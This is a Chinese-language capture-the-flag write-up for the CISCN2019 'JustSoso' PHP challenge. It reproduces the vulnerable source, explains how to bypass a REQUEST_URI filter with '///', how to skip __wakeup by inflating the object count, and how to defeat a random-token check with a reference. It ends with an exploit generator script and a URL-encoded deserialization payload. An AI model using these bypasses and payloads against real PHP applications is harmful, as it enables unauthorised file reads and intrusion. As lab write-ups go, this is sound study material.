CISCN2019 JustSoso
关键词:php,绕过,反序列化
这道题虽然看上去是一道反序列化题目,但是其实我个人感觉占比更大的是php的一些小trick。比如反序列化绕过__wakeup魔术方法,///绕过$\_SERVER['REQUEST_URI']和php深拷贝处理随机数比较等。buu上并没有题目复现,但是赛后放了源码,根据源码在本地搭建复现一波。
原题思路是,通过php伪协议读取index.php和hint.php,最终用反序列化获取到flag.php。
index.php
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
index.php中存在一个文件包含漏洞,而文件本身并不涉及反序列化所需的类,而hint.php中有两个类,其中Flag类的getFlag函数可以被利用获取flag。因而大致思路为通过index.php包含hint.php,再构造一个Handle类在析构的时候调用getFlag函数完成读取。
不过反序列化也只是这道题的基础,这道题主要难点在于去绕过__wakeup魔术方法和绕过$_SERVER['REQUEST_URI']。
$_SERVER['REQUEST_URI']绕过方法大致为在域名后加上///,在不妨碍http解析的情况下使该函数在判断的时候发生错误,返回false而不是应该返回的具体path。如此绕过对关键字flag的检测。(需要注意的是,这个小trick仅适用于php <= 5.4.7)。
对于__wakeup魔术方法的绕过为在输入反序列化字符串时增加反序列化对象数量,使得对象数量与实际对象数量不符,会产生报错从而不触发__wakeup魔术方法。
而随机数比较这里引入深浅拷贝的概念,即:
$a = 1;
$b = $a; //浅拷贝
$a = 2;
$b == 1; //true
$a = 1;
$b = &$a; //深拷贝
$a = 2;
$b == 1; //false
$b == 2; //true
即深拷贝可以理解为$b作为一个指向$a的指针,随着$a改变$b也在进行改变。因而在最后的随机数比较的地方,我们就可以用深拷贝解决这个问题。
最后给出exp:
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = md5(rand(1,10000));
$this->token = &$this->token_flag;
}
}
$a = new Flag('flag.php');
$b = new Handle($a);
echo urlencode(serialize($b));
?>
以及最终的payload:
///?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%224bbbe6cb5982b9110413c40f3cce680b%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D